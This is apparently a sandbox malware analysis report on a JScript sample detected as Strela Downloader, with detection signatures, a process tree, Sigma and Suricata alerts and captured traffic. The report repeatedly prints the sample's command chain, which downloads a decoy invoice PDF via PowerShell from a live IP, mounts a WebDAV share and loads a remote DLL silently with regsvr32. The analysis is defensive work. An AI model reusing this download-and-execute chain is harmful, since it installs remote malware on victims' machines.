Edit tour

Windows Analysis Report
525931685256721403.js

Overview

General Information

Sample name:	525931685256721403.js
Analysis ID:	1588390
MD5:	b66d955e7dcc938ee784f589e4d0967a
SHA1:	92c0c140983f046f6faa743d0e8bc616d556cc16
SHA256:	74bded847f08dea724adfcc9bd4f0291d5ec65dc34b350ef08d069dd9abb6171
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 8000 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7396 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7572 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7748 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7924 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7208 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1752,i,7857329049339581879,4952565180670200298,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6112 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6680 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8104 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 8000	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7396, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7572, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7396, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7572, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js", ProcessId: 8000, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6680, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49725

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8000, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 7396, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8000, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 7396, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8000, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 7396, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8000, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 7396, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8000, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 7396, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js", ProcessId: 8000, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7396, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7572, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6112, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6680, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8104, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6112, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6680, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8000, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 7396, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:47:41.975401+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49707	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:47:44.624451+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49725	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:47:41.975401+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49707	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 525931685256721403.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 525931685256721403.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49707 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49725 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:47:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49725

Source: global traffic

